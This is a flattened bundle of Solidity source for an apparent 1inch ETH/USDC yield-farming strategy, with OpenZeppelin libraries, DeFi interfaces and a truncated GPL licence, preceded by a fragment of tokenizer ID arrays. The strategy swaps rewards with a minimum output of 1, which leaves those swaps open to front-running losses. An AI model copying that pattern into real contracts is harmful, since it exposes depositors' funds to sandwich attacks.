0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
336,
5048,
295,
1359,
653,
203,
13491,
261,
203,
18701,
1758,
1342,
14348,
16,
203,
18701,
1758,
23350,
1369,
16,
203,
18701,
533,
3778,
25187,
1854,
16,
203,
18701,
2254,
5034,
2858,
203,
13491,
262,
203,
13491,
2713,
203,
13491,
16618,
203,
13491,
1135,
12,
3890,
1578,
13,
203,
565,
288,
203,
3639,
327,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
5466,
14348,
16,
23350,
1369,
16,
25187,
1854,
16,
2858,
10019,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.16;
import "./OneInchStrategy_ETH_X.sol";
/**
* This strategy is for the ETH/USDC LP token on 1inch
*/
contract OneInchStrategy_ETH_USDC is OneInchStrategy_ETH_X {
address public usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
constructor(
address _storage,
address _vault
) OneInchStrategy_ETH_X (
_storage,
_vault,
address(0xb4dB55a20E0624eDD82A0Cf356e3488B4669BD27), // underlying
address(0xc7c42eccAc0D4Bb790a32Bc86519aC362e01d388), // pool
address(0x0EF1B8a0E726Fc3948E15b23993015eB1627f210) // oneInchEthLP
) public {
require(token1 == usdc, "token1 mismatch");
}
}
pragma solidity 0.5.16;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./interface/IMooniswap.sol";
import "./interface/IFarmingRewards.sol";
import "../interface/uniswap/IUniswapV2Router02.sol";
import "../interface/IStrategy.sol";
import "../interface/IVault.sol";
import "../interface/weth/Weth9.sol";
import "../StrategyBase.sol";
import "hardhat/console.sol";
/**
* This strategy is for ETH / X 1inch LP tokens
* ETH must be token0, and the other token is denoted X
*/
contract OneInchStrategy_ETH_X is StrategyBase {
// 1inch / ETH reward pool: 0x9070832CF729A5150BB26825c2927e7D343EabD9
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
event Liquidating(address token, uint256 amount);
event ProfitsNotCollected(address token);
address public pool;
address public oneInch = address(0x111111111117dC0aa78b770fA6A738034120C302);
address public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public oneInchCaller = address(0xe069CB01D06bA617bCDf789bf2ff0D5E5ca20C71);
uint256 maxUint = uint256(~0);
address public oneInchEthLP;
address[] public uniswap_WETH2Token1;
// token0 is ETH
address public token1;
uint256 slippageNumerator = 9;
uint256 slippageDenominator = 10;
// a flag for disabling selling for simplified emergency exit
bool public sell = true;
// minimum 1inch amount to be liquidation
uint256 public sellFloorOneInch = 1e17;
constructor(
address _storage,
address _vault,
address _underlying,
address _pool,
address _oneInchEthLP
)
StrategyBase(_storage, _underlying, _vault, weth, address(0)) public {
require(IVault(_vault).underlying() == _underlying, "vault does not support the required LP token");
token1 = IMooniswap(_underlying).token1();
pool = _pool;
require(token1 != address(0), "token1 must be non-zero");
require(IMooniswap(_underlying).token0() == address(0), "token0 must be 0x0 (Ether)");
oneInchEthLP = _oneInchEthLP;
uniswap_WETH2Token1 = [weth, token1];
// making 1inch reward token salvagable to be able to
// liquidate externally
unsalvagableTokens[oneInch] = false;
unsalvagableTokens[token1] = true;
}
function depositArbCheck() public view returns(bool) {
return true;
}
/**
* Salvages a token. We should not be able to salvage underlying.
*/
function salvage(address recipient, address token, uint256 amount) public onlyGovernance {
// To make sure that governance cannot come in and take away the coins
require(!unsalvagableTokens[token], "token is defined as not salvageable");
IERC20(token).safeTransfer(recipient, amount);
}
/**
* Withdraws underlying from the investment pool that mints crops.
*/
function withdrawUnderlyingFromPool(uint256 amount) internal {
IFarmingRewards(pool).withdraw(
Math.min(IFarmingRewards(pool).balanceOf(address(this)), amount)
);
}
/**
* Withdraws the underlying tokens to the pool in the specified amount.
*/
function withdrawToVault(uint256 amountUnderlying) external restricted {
withdrawUnderlyingFromPool(amountUnderlying);
require(IERC20(underlying).balanceOf(address(this)) >= amountUnderlying, "insufficient balance for the withdrawal");
IERC20(underlying).safeTransfer(vault, amountUnderlying);
}
/**
* Withdraws all the underlying tokens to the pool.
*/
function withdrawAllToVault() external restricted {
claimAndLiquidate();
withdrawUnderlyingFromPool(maxUint);
uint256 balance = IERC20(underlying).balanceOf(address(this));
IERC20(underlying).safeTransfer(vault, balance);
}
/**
* Invests all the underlying into the pool that mints crops (1inch)
*/
function investAllUnderlying() public restricted {
uint256 underlyingBalance = IERC20(underlying).balanceOf(address(this));
if (underlyingBalance > 0) {
IERC20(underlying).safeApprove(pool, 0);
IERC20(underlying).safeApprove(pool, underlyingBalance);
IFarmingRewards(pool).stake(underlyingBalance);
}
}
function() external payable {}
/**
* Claims the 1Inch crop, converts it accordingly
*/
function claimAndLiquidate() internal {
if (!sell) {
// Profits can be disabled for possible simplified and rapid exit
emit ProfitsNotCollected(oneInch);
return;
}
IFarmingRewards(pool).getReward();
uint256 oneInchBalance = IERC20(oneInch).balanceOf(address(this));
if (oneInchBalance < sellFloorOneInch) {
emit ProfitsNotCollected(oneInch);
return;
}
// converting the reward token (1inch) into Ether
uint256 amountOutMin = 1;
IERC20(oneInch).safeApprove(oneInchEthLP, 0);
IERC20(oneInch).safeApprove(oneInchEthLP, oneInchBalance);
IMooniswap(oneInchEthLP).swap(oneInch, address(0), oneInchBalance, amountOutMin, address(0));
// convert the received Ether into wrapped Ether
WETH9(weth).deposit.value(address(this).balance)();
uint256 wethBalance = IERC20(weth).balanceOf(address(this));
if( wethBalance == 0 ) {
emit ProfitsNotCollected(weth);
return;
}
// share 30% of the wrapped Ether as a profit sharing reward
notifyProfitInRewardToken(wethBalance);
uint256 remainingWethBalance = IERC20(weth).balanceOf(address(this));
IERC20(weth).safeApprove(uni, 0);
IERC20(weth).safeApprove(uni, remainingWethBalance.div(2));
// with the remaining, half would be converted into the second token
IUniswapV2Router02(uni).swapExactTokensForTokens(
remainingWethBalance.div(2),
amountOutMin,
uniswap_WETH2Token1,
address(this),
block.timestamp
);
uint256 token1Amount = IERC20(token1).balanceOf(address(this));
// and the other half - unwrapped
remainingWethBalance = IERC20(weth).balanceOf(address(this));
IERC20(weth).safeApprove(weth, 0);
IERC20(weth).safeApprove(weth, remainingWethBalance);
WETH9(weth).withdraw(remainingWethBalance);
uint256 remainingEthBalance = address(this).balance;
IERC20(token1).safeApprove(underlying, 0);
IERC20(token1).safeApprove(underlying, token1Amount);
// adding liquidity: ETH + token1
IMooniswap(underlying).deposit.value(remainingEthBalance)(
[remainingEthBalance, token1Amount],
[remainingEthBalance.mul(slippageNumerator).div(slippageDenominator),
token1Amount.mul(slippageNumerator).div(slippageDenominator)
]
);
}
/**
* Claims and liquidates 1inch into underlying, and then invests all underlying.
*/
function doHardWork() public restricted {
claimAndLiquidate();
investAllUnderlying();
}
/**
* Investing all underlying.
*/
function investedUnderlyingBalance() public view returns (uint256) {
return IFarmingRewards(pool).balanceOf(address(this)).add(
IERC20(underlying).balanceOf(address(this))
);
}
/**
* Can completely disable claiming 1inch rewards and selling. Good for emergency withdraw in the
* simplest possible way.
*/
function setSell(bool s) public onlyGovernance {
sell = s;
}
/**
* Sets the minimum amount of 1inch needed to trigger a sale.
*/
function setSellFloorAndSlippages(uint256 _sellFloorOneInch, uint256 _slippageNumerator, uint256 _slippageDenominator) public onlyGovernance {
sellFloorOneInch = _sellFloorOneInch;
slippageNumerator = _slippageNumerator;
slippageDenominator = _slippageDenominator;
}
}
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.5.16;
contract IMooniswap {
function token0() external view returns (address);
function token1() external view returns (address);
function getTokens() external view returns(address[] memory tokens);
function tokens(uint256 i) external view returns(address);
function deposit(uint256[2] calldata maxAmounts, uint256[2] calldata minAmounts) external payable returns(uint256 fairSupply, uint256[2] memory receivedAmounts);
function swap(address src, address dst, uint256 amount, uint256 minReturn, address referral) external payable returns(uint256 result);
}
pragma solidity 0.5.16;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IFarmingRewards {
function balanceOf(address account) external view returns (uint256);
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function exit() external;
function getReward() external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity 0.5.16;
interface IStrategy {
function unsalvagableTokens(address tokens) external view returns (bool);
function governance() external view returns (address);
function controller() external view returns (address);
function underlying() external view returns (address);
function vault() external view returns (address);
function withdrawAllToVault() external;
function withdrawToVault(uint256 amount) external;
function investedUnderlyingBalance() external view returns (uint256); // itsNotMuch()
// should only be called by controller
function salvage(address recipient, address token, uint256 amount) external;
function doHardWork() external;
function depositArbCheck() external view returns(bool);
}
pragma solidity 0.5.16;
interface IVault {
function initializeVault(
address _storage,
address _underlying,
uint256 _toInvestNumerator,
uint256 _toInvestDenominator
) external ;
function balanceOf(address) external view returns (uint256);
function underlyingBalanceInVault() external view returns (uint256);
function underlyingBalanceWithInvestment() external view returns (uint256);
// function store() external view returns (address);
function governance() external view returns (address);
function controller() external view returns (address);
function underlying() external view returns (address);
function strategy() external view returns (address);
function setStrategy(address _strategy) external;
function announceStrategyUpdate(address _strategy) external;
function setVaultFractionToInvest(uint256 numerator, uint256 denominator) external;
function deposit(uint256 amountWei) external;
function depositFor(uint256 amountWei, address holder) external;
function withdrawAll() external;
function withdraw(uint256 numberOfShares) external;
function getPricePerFullShare() external view returns (uint256);
function underlyingBalanceWithInvestmentForHolder(address holder) view external returns (uint256);
// hard work should be callable only by the controller (by the hard worker) or by governance
function doHardWork() external;
}
// based on https://etherscan.io/address/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code
/**
*Submitted for verification at Etherscan.io on 2017-12-12
*/
// Copyright (C) 2015, 2016, 2017 Dapphub
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.5.16;
contract WETH9 {
function balanceOf(address target) public view returns (uint256);
function deposit() public payable ;
function withdraw(uint wad) public ;
function totalSupply() public view returns (uint) ;
function approve(address guy, uint wad) public returns (bool) ;
function transfer(address dst, uint wad) public returns (bool) ;
function transferFrom(address src, address dst, uint wad) public returns (bool);
}
/*
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
